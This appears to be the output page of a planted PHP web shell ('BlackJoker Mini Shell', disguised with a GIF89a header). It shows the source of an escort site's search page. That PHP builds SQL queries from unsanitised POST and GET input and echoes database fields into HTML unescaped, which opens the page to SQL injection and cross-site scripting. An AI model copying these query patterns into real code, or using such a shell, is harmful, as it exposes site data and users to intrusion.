GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/public_html/
Upload File :
Current File : /home/serb/public_html/escort_search.php

<? session_start();
 include("lib/globals.php");
 include("lib/common.php");
 include("lib/functions.php");
 include"lib/SimpleImage.php";
 ?>

<? include "includes/header_top.php";?>
<body>
 <? include "includes/header.php";?>
<div class="main_bg">   

        <div style="height:32px;"></div>

        <div  style="width:1000px; margin:0 auto;">
				<div class="statedetails">
                	<div class="stdtls_header">
                    	<span style="color:#000;">Escort Search List </span>
                    	
                    	
                    </div>
                    <div class="stdtls_midder">
                    	<div style=" width:990px;">
                        	
                               <div style="width:960px; margin:0 auto;">
                                <br/>
                                <?
                                                     //$search=$_POST['search'];
													 $search=$_POST['search'];
													  $todate=date('Y-m-d');
                                                      $sql_locescort="SELECT * FROM escort_details WHERE status='a' And country_name='".$_SESSION['countryname']."' AND (nickname like '%$search%' or escort_city like '%$search%' or tel_national like '%$search%' or ethencity like '%$search%' or hair_color like '%$search%' ) "; 
													  
                                                    $res_locescort=execute_query($sql_locescort);
                                                    $num_locescort=mysql_num_rows($res_locescort);
                                                    if($num_locescort>0)
                                                    {
                                                      while($row_locescort=mysql_fetch_array($res_locescort))
                                                      {
                                                        increase_impression($row_locescort['id']);
                                                       ?>
                                                        <div class="escortpicsnew" style="margin-bottom:5px;">
                                                        <?
                                                        if($row_locescort['ft_ad_status']=='Yes')
                                                        {
															if($todate<$row_locescort['ft_ad_expair'])
															{
															?>
                                                       			<div style="width:229px; height:107px; margin-left:-1px; margin-top:-3px; text-align:left; position:absolute; z-index:3;"><img src="images/vip22.png" style="width:91px; height:123px;" /></div>
                                                          <?  }
                                                         } ?>
                                                            <div class="estname">
                                                                <h1><?=$row_locescort['nickname']?></h1></div>
                                                            <div class="estimage">
                                                            <? 
                                                                $sql_image="SELECT * FROM escort_photo where postid='".$row_locescort['id']."'";
                                                                $res_image=execute_query($sql_image);
                                                                $row_image=mysql_fetch_array($res_image);
                                                                if($row_image['picture']!="")
                                                                {
                                                                ?>
                                                                     <a href="escort-service-dtls.php?name=<?=$row_locescort['nickname']?>&phone=<?=$row_locescort['tel_national']?>&cityname=<?=$row_locescort['escort_city']?>"><img src="thubigg/<?=$row_image['picture']?>" style="width:210px; height:240px;" /></a>
                                                              <? } else
                                                              { ?>
                                                               <a href="escort-service-dtls.php?name=<?=$row_locescort['nickname']?>&phone=<?=$row_locescort['tel_national']?>&cityname=<?=$row_locescort['escort_city']?>"> <img src="images/no_photo_female.gif" style="width:210px; height:240px;" /></a>
                                                              
                                                              <? } ?>
                                                            
                                                            </div>
                                                            <div class="estlocation"><?=$row_locescort['escort_city']?></div>
                                                        
                                                        </div>
                                                        <?
                                                         
                                                
                                                      }  ?> 
                                                        <br class="spacer" />
                                                        <?
                                                    } else {?>
                                                        <div style="text-align:center; width:550px; margin:0 auto;">
                                                            <p class="noescort">
                                                                Sorry, right now there is no any escorts in <?=$row_country['country']?> available.
                                                            </p>
                                                        
                                                        </div>
                                                    
                                                    <? } ?> 				     		 
                               
                               
                               
                               
                                </div>
                               
                               
                               
                               
                               
                                                      	
                          </div>
                    
                    </div>
                    <div class="stdtls_footer"></div>
                </div>
        
				<!--<div class="estdetailscnt22">
                    <div style="width:960px; margin:0 auto;">
                    <br/>
             		<?
										$ii=1;
										if($_GET['cityname'])
										 {
											$sql_locescort="SELECT * FROM escort_details WHERE status='a' AND escort_city like '%".$_GET['cityname']."%'  ORDER BY id DESC"; 
										 }																			  
										 else
										 {
										  $sql_locescort="SELECT * FROM escort_details WHERE status='a' AND country_name='".$_SESSION['countryname']."' ORDER BY id DESC "; 
										 }
										$res_locescort=execute_query($sql_locescort);
										$num_locescort=mysql_num_rows($res_locescort);
										if($num_locescort>0)
										{
										  while($row_locescort=mysql_fetch_array($res_locescort))
										  {
											increase_impression($row_locescort['id']);
										   ?>
                                            <div class="escortpicsnew">
                                            <?
											if($row_locescort['ft_ad_status']=='Yes')
											{?>
                                            <div style="width:229px; height:107px; margin-top:-7px; text-align:left; position:absolute; z-index:3;"><img src="images/vip22.png" style="width:108px; height:107px;" /></div>
                                            <? } ?>
                                                <div class="estname">
													<h1><?=$row_locescort['nickname']?></h1></div>
                                                <div class="estimage">
                                                <? 
													$sql_image="SELECT * FROM escort_photo where postid='".$row_locescort['id']."'";
													$res_image=execute_query($sql_image);
													$row_image=mysql_fetch_array($res_image);
                                                    if($row_image['picture']!="")
                                                    {
                                                    ?>
                                                         <a href="escort-service-dtls.php?name=<?=$row_locescort['nickname']?>&phone=<?=$row_locescort['tel_national']?>&cityname=<?=$row_locescort['escort_city']?>"><img src="avtar/<?=$row_image['picture']?>" style="width:210px; height:240px;" /></a>
                                                  <? } else
                                                  { ?>
                                                   <a href="escort-service-dtls.php?name=<?=$row_locescort['nickname']?>&phone=<?=$row_locescort['tel_national']?>&cityname=<?=$row_locescort['escort_city']?>"> <img src="images/no_photo_female.gif" style="width:210px; height:240px;" /></a>
                                                  
                                                  <? } ?>
                                                
                                                </div>
                                                <div class="estlocation"><?=$row_locescort['escort_city']?></div>
                                            
                                            </div>
                                            <?
                                              if($ii%4==0)
                                                 {
                                                    ?>
                                                    <br class="spacer" />
                                                   <div style="height:10px;">&nbsp;<br class="spacer" /></div>
                                                    <?
                                                 }
                                                $ii++;
                                    
                                     	  }  ?> 
									  		<br class="spacer" />
                                            <?
										} else {?>
                                        	<div style="text-align:center; width:550px; margin:0 auto;">
                                            	<p class="noescort">
                                                	Sorry, right now there is no any escorts in <?=$row_country['country']?> available.
                                                </p>
                                            
                                            </div>
                                        
                                        <? } ?> 				     		 
                   
                   
                   
                   
                    </div>    
                                               
                <br class="spacer" />
                </div>-->
                

        </div>
		<br/>

   </div>                                







<!--</div>-->



<? include "includes/footer.php";?>




./BlackJoker Mini Shell 1.0